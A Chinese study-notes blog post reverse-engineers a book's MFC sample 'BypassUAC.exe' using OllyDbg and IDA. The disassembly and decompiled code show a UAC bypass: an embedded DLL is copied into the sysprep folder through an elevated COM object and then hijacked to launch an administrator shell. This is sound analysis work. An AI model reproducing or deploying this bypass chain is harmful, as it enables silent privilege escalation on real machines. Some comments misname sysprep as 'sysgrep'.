本文为笔者从零基础学习系统安全相关内容的笔记,如果您对系统安全、逆向分析等内容感兴趣或者想要了解一些内容,欢迎关注。本系列文章将会随着笔者在未来三年的读研过程中持续更新,由于笔者现阶段还处于初学阶段,不可避免参照复现各类书籍内容,如书籍作者认为侵权请告知,笔者将立刻删除。强调本系列所有内容仅作为学习研究使用,作者对此文章中的代码造成的任何后果不负法律责任。
前文链接
[系统安全] PE文件格式详解1
[系统安全] PE文件格式详解2
[系统安全] Windbg Preview调试记录
用户帐户控制(User Account Control,简写作UAC) 是微软公司在其
Windows Vista及更高版本操作系统中采用的一种控制机制。
其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,
以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。
微软基础类库(Microsoft Foundation Classes,简称MFC)
是微软公司提供的一个类库,以C++类的形式封装了Windows API,
并且包含一个应用程序框架,以减少应用程序开发人员的工作量。
其中包含大量Windows句柄封装类和很多Windows的内建控件和组件的封装类。
MFC调用特征总结
版本 | 对应动态库 | 静态库中使用MFC特征 | 动态库使用MFC特征 |
---|---|---|---|
4.0 | mfc40.dll | call [ebp+0x14] | call [ebp+0x14] |
6.0 | mfc42.dll | call [ebp+0x14] | call [ebp+0x14] |
7.1 | mfc71.dll | call [ebp+0x14] | call [ebp+0x14] |
10.0 | mfc100.dll | call [ebp+0x14] | mov edx, [ebp+0x14] |
对于MFC程序的逆向,分为以下步骤
OllyDbg打开程序,按图标e打开模块窗口
if(查找到mfc*.dll){
判断MFC版本
if(找不到版本信息){
可能是在静态库中使用MFC,或者不是MFC程序
}
}
if(动态库中使用MFC){
双击对应动态库,转到响应代码起始位置,ctrl+f搜索特征
}else if(静态库中使用MFC){
在起始位置搜索特征
}
分析的例子是黑客免杀攻防书里一个由MFC编写的名为BypassUAC.exe程序,
此程序的功能是不触发UAC情况下打开管理员权限的命令行。功能效果如下图,接下来进行分析。
载入OD,打开模块窗口,如下所示
没有发现MFC动态加载库文件,判断可能是静态调用MFC或者不是MFC程序
搜索特征call [ebp+0x14],由于这个特征位于mfc框架里的消息分发函数里,所以处在一个很大的switch-case中。
上面的jmp dword ptr ds:[eax*4+1368c62]
就是典型的处理复杂switch-case语句特征。
书上说单击按钮的值是0x39,设置断点跟进后发现调用了两个函数,获取当前模块的句柄,调用RemoteLoadDllByResource函数
参数explorer.exe则是远程加载dll文件的宿主名,SHELL_CODE则是资源名。
使用LordPE打开文件
dump下来保存为dll格式文件,然后用IDA打开
.text:10001000 ; =============== S U B R O U T I N E =======================================
.text:10001000
.text:10001000 ; Attributes: bp-based frame
.text:10001000
.text:10001000 ; BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
.text:10001000 _DllMain@12 proc near ; CODE XREF: ___DllMainCRTStartup+75↓p
.text:10001000 ; ___DllMainCRTStartup+89↓p
.text:10001000
.text:10001000 NumberOfBytesWritten= dword ptr -828h
.text:10001000 Buffer = word ptr -824h
.text:10001000 Dst = byte ptr -822h
.text:10001000 var_61C = word ptr -61Ch
.text:10001000 var_61A = byte ptr -61Ah
.text:10001000 Src = word ptr -414h
.text:10001000 var_412 = byte ptr -412h
.text:10001000 TempFileName = word ptr -20Ch
.text:10001000 var_20A = byte ptr -20Ah
.text:10001000 var_4 = dword ptr -4
.text:10001000 hinstDLL = dword ptr 8
.text:10001000 fdwReason = dword ptr 0Ch
.text:10001000 lpvReserved = dword ptr 10h
.text:10001000
.text:10001000 push ebp
.text:10001001 mov ebp, esp
.text:10001003 sub esp, 828h
.text:10001009 mov eax, ___security_cookie
.text:1000100E xor eax, ebp
.text:10001010 mov [ebp+var_4], eax
.text:10001013 mov eax, [ebp+fdwReason]
.text:10001016 dec eax
.text:10001017 push edi
.text:10001018 mov edi, [ebp+hinstDLL]
.text:1000101B jnz loc_100011E7
.text:10001021 push esi
.text:10001022 push offset Type ; "BIN_DLL"
.text:10001027 push 65h ; lpName
.text:10001029 push edi ; hModule
.text:1000102A call ds:FindResourceW ; //FindResourceW(hModule, lpName, "BIN_DLL")
.text:10001030 mov esi, eax
.text:10001032 test esi, esi
.text:10001034 jz loc_100011E6 ; //如果返回值为0,则跳转到末尾附近
.text:1000103A push esi ; hResInfo
.text:1000103B push edi ; hModule
.text:1000103C call ds:LoadResource ; //LoadResource(hModule, hResInfo)
.text:10001042 test eax, eax
.text:10001044 jz loc_100011E6 ; //如果返回值为0,则跳转到函数结尾附近
.text:1000104A push ebx
.text:1000104B push eax ; hResData //注意这里有些问题,跟参考书上分析的代码对不起来
.text:1000104C call ds:LockResource
.text:10001052 mov ebx, eax
.text:10001054 test ebx, ebx
.text:10001056 jz loc_100011E5
.text:1000105C push esi ; hResInfo
.text:1000105D push edi ; hModule
.text:1000105E call ds:SizeofResource
.text:10001064 mov edi, eax
.text:10001066 test edi, edi
.text:10001068 jz loc_100011E5
.text:1000106E xor eax, eax
-------------------------------------------------------------
HRSRC hResInfo;
HGLOBAL hResData;
LPVOID lpData;
DwORD dwFilesize;
hResInfo=FindResourceW(hModule,lpName,"BIN_DLL")
if (hResInfo==NULL)
return;
hResData=LoadResource(hModule,hResInfo)
if(hResData==NULL)
return;
lpData=LockResource(hModule,hResData)
if (lpData==NULL)
return;
dwFilesize=sizeofResource( hModule,hResInfo)
if (dwFilesize==NULL)
return;
到此得出结论我们dump下来的这个dll还会加载BIN_DLL动态库文件
-------------------------------------------------------------
.text:10001070 push 206h ; Size
.text:10001075 push eax ; Val
.text:10001076 lea ecx, [ebp+Dst]
.text:1000107C push ecx ; Dst
.text:1000107D mov [ebp+NumberOfBytesWritten], 0
.text:10001087 mov [ebp+Buffer], ax
.text:1000108E call memset
.text:10001093 xor edx, edx
.text:10001095 push 206h ; Size
.text:1000109A push edx ; Val
.text:1000109B lea eax, [ebp+var_20A]
.text:100010A1 push eax ; Dst
.text:100010A2 mov [ebp+TempFileName], dx
.text:100010A9 call memset
.text:100010AE add esp, 18h
.text:100010B1 lea ecx, [ebp+Buffer]
.text:100010B7 push ecx ; lpBuffer
.text:100010B8 push 104h ; nBufferLength
.text:100010BD call ds:GetTempPathW ;//GetTempPathW(nBufferLength, lpBuffer)
.text:100010C3 test eax, eax
.text:100010C5 jz loc_100011E5 ;//如果返回值为0,跳转到函数末尾处
.text:100010CB lea edx, [ebp+TempFileName]
.text:100010D1 push edx ; lpTempFileName
.text:100010D2 push 0 ; uUnique
.text:100010D4 push offset PrefixString ; "A1_"
.text:100010D9 lea eax, [ebp+Buffer]
.text:100010DF push eax ; lpPathName ;//lpPathName=GetTempPathW(nBufferLength, lpBuffer)
.text:100010E0 call ds:GetTempFileNameW ;//GetTempFileNameW(lpPathName, "A1_", uUnique, lpTempFileName)
.text:100010E6 test eax, eax
.text:100010E8 jz loc_100011E5 ;//如果返回值为0,跳转到函数末尾处
.text:100010EE push 0 ; hTemplateFile
.text:100010F0 push 80h ; dwFlagsAndAttributes
.text:100010F5 push 2 ; dwCreationDisposition
.text:100010F7 push 0 ; lpSecurityAttributes
.text:100010F9 push 0 ; dwShareMode
.text:100010FB push 40000000h ; dwDesiredAccess
.text:10001100 lea ecx, [ebp+TempFileName]
.text:10001106 push ecx ; lpFileName
.text:10001107 call ds:CreateFileW ;//CreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile)
.text:1000110D mov esi, eax
.text:1000110F cmp esi, 0FFFFFFFFh
.text:10001112 jz loc_100011E5 //返回值为-1时跳转到函数末尾处
.text:10001118 push 0 ; lpOverlapped
.text:1000111A lea edx, [ebp+NumberOfBytesWritten]
.text:10001120 push edx ; lpNumberOfBytesWritten
.text:10001121 push edi ; nNumberOfBytesToWrite
.text:10001122 push ebx ; lpBuffer
.text:10001123 push esi ; hFile ;//hFile=CreateFileW(...)
.text:10001124 call ds:WriteFile ;//WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten, lpOverlapped)
.text:1000112A test eax, eax
.text:1000112C jz loc_100011E5 ;//如果返回值为0,跳转到函数末尾处
.text:10001132 push esi ; hObject(就是hFile)
.text:10001133 call ds:CloseHandle ;//CloseHandle(hObject)
.text:10001139 xor eax, eax
-------------------------------------------------------------
以上代码是在此dll中读出一段数据,保存在系统的临时目录中,
文件名是一个A1_开头临时文件
-------------------------------------------------------------
.text:1000113B push 206h ; Size
.text:10001140 push eax ; Val
.text:10001141 lea ecx, [ebp+var_412]
.text:10001147 push ecx ; Dst
.text:10001148 mov [ebp+Src], ax
.text:1000114F call memset
.text:10001154 xor edx, edx
.text:10001156 push 206h ; Size
.text:1000115B push edx ; Val
.text:1000115C lea eax, [ebp+var_61A]
.text:10001162 push eax ; Dst
.text:10001163 mov [ebp+var_61C], dx
.text:1000116A call memset
.text:1000116F add esp, 18h
.text:10001172 push 104h ; uSize
.text:10001177 lea ecx, [ebp+Src]
.text:1000117D push ecx ; lpBuffer
.text:1000117E call ds:GetSystemDirectoryW ;//GetSystemDirectoryW(lpBuffer, uSize)
.text:10001184 test eax, eax
.text:10001186 jz short loc_100011D8 //如果返回值为0,跳转到末尾附近
.text:10001188 push 104h ; MaxCount
.text:1000118D lea edx, [ebp+Src]
.text:10001193 push edx ; Src
.text:10001194 lea eax, [ebp+var_61C]
.text:1000119A push 104h ; SizeInWords
.text:1000119F push eax ; Dst
.text:100011A0 call ds:wcsncpy_s ;//wcsncpy_s(Dst, SizeInWords, Src, MaxCount)
.text:100011A6 push offset Src ; "\\cmd.exe"
.text:100011AB lea ecx, [ebp+var_61C]
.text:100011B1 push 104h ; SizeInWords
.text:100011B6 push ecx ; Dst
.text:100011B7 call ds:wcscat_s ;//wcscat_s(Dst[即[ebp+var_61C]], SizeInWords, "\\cmd.exe")
.text:100011BD add esp, 1Ch
-------------------------------------------------------------
获取cmd.exe完整路径保存到[ebp+var_61C]
-------------------------------------------------------------
.text:100011C0 lea edx, [ebp+TempFileName]
.text:100011C6 push edx
.text:100011C7 lea edx, [ebp+Src]
.text:100011CD lea ecx, [ebp+var_61C]
.text:100011D3 call sub_10001200 ;//sub_10001200([ebp+TempFileName]),肯定也用到[ebp+Src]和[ebp+var_61C]
.text:100011D8
.text:100011D8 loc_100011D8: ; CODE XREF: DllMain(x,x,x)+186↑j
.text:100011D8 lea eax, [ebp+TempFileName]
.text:100011DE push eax ; lpFileName
.text:100011DF call ds:DeleteFileW ;//DeleteFileW(lpFileName)
.text:100011E5
.text:100011E5 loc_100011E5: ; CODE XREF: DllMain(x,x,x)+56↑j
.text:100011E5 ; DllMain(x,x,x)+68↑j ...
.text:100011E5 pop ebx
.text:100011E6
.text:100011E6 loc_100011E6: ; CODE XREF: DllMain(x,x,x)+34↑j
.text:100011E6 ; DllMain(x,x,x)+44↑j
.text:100011E6 pop esi
.text:100011E7
.text:100011E7 loc_100011E7: ; CODE XREF: DllMain(x,x,x)+1B↑j
.text:100011E7 mov ecx, [ebp+var_4]
.text:100011EA xor ecx, ebp
.text:100011EC mov eax, 1
.text:100011F1 pop edi
.text:100011F2 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:100011F7 mov esp, ebp
.text:100011F9 pop ebp
.text:100011FA retn 0Ch
.text:100011FA _DllMain@12 endp
.text:100011FA
.text:100011FA ; ---------------------------------------------------------------------------
.text:100011FD align 10h
将当前dll资源中的数据保存在临时目录下的FileName中,
然后获取cmd.exe文件完整路径,再将FileName作为参数传入sub_10001200中,
函数执行完后删除临时目录中的FileName文件。
下面查看sub_10001200函数
char __fastcall sub_10001200(int a1, int a2, int a3)
{
.........
if ( GetSystemDirectoryW(&Buffer, 0x104u) ) //获取系统目录到Buffer
{
wcscat_s(&Buffer, 0x104u, L"\\sysprep");
wcsncpy_s(&v22, 0x104u, &Buffer, 0x104u);
wcscat_s(&v22, 0x104u, L"\\sysprep.exe");
wcsncpy_s(&v20, 0x104u, &Buffer, 0x104u);
wcscat_s(&v20, 0x104u, L"\\sysprep.dll");
}
//Buffer = "系统目录\\sysgrep"
//v22 = "系统目录\\sysgrep\\sysgrep.exe"
//v20 = "系统目录\\sysgrep\\sysgrep.dll"
//sysgrep.exe是windows下系统准备工具,可以执行系统封装或磁盘复制等操作
//sysgrep.exe与sysgrep.dll正常情况下不在一个目录下,如果我们在exe同目录下准备一个dll的话就会首先使用我们准备的dll文件
if ( CoInitialize(0)
|| CoGetObject(L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}", &pBindOptions, &riid, &ppv)
|| !ppv
|| (*(int (__stdcall **)(void *, signed int))(*(_DWORD *)ppv + 20))(ppv, 277086228)
|| SHCreateItemFromParsingName(v7, 0, &unk_10002268, &v10)
|| !v10
|| SHCreateItemFromParsingName(&Buffer, 0, &unk_10002268, &v8)
|| !v8
|| (*(int (__stdcall **)(void *, int, int, const wchar_t *, _DWORD))(*(_DWORD *)ppv + 64))(
ppv, v10, v8, L"CryptBase.dll", 0)
|| (*(int (__stdcall **)(void *))(*(_DWORD *)ppv + 84))(ppv) )
{
return 0;
}
//SHCreateItemFromParsingName是从解析的路径名中创建并初始化一个shell对象,
//v7就是当前函数的第三个参数
memset(&pExecInfo, 0, 0x3Cu);
pExecInfo.lpFile = &v22; //v22 = "系统目录\\sysgrep\\sysgrep.exe"
pExecInfo.cbSize = 60;
pExecInfo.fMask = 64;
pExecInfo.lpParameters = &v18;
pExecInfo.lpDirectory = &Buffer;
pExecInfo.nShow = 5;
if ( ShellExecuteExW(&pExecInfo) && pExecInfo.hProcess )
{
WaitForSingleObject(pExecInfo.hProcess, 0xFFFFFFFF);
CloseHandle(pExecInfo.hProcess);
}
if ( SHCreateItemFromParsingName(&v20, 0, &unk_10002268, &v9) || !v9 )
return 0;
if ( !(*(int (__stdcall **)(void *, int, _DWORD))(*(_DWORD *)ppv + 72))(ppv, v9, 0) )
(*(void (__stdcall **)(void *))(*(_DWORD *)ppv + 84))(ppv);
if ( v9 )
(*(void (__stdcall **)(int))(*(_DWORD *)v9 + 8))(v9);
if ( v8 )
(*(void (__stdcall **)(int))(*(_DWORD *)v8 + 8))(v8);
if ( v10 )
(*(void (__stdcall **)(int))(*(_DWORD *)v10 + 8))(v10);
if ( ppv )
(*(void (__stdcall **)(void *))(*(_DWORD *)ppv + 8))(ppv);
CoUninitialize();
return 1;
}
ShellExecuteExW运行一个外部可执行文件,也就是上面准备好的sysgrep.exe而sysgrep.dll被程序劫持,换成自己的dll文件,在此文件中以管理员身份运行了cmd。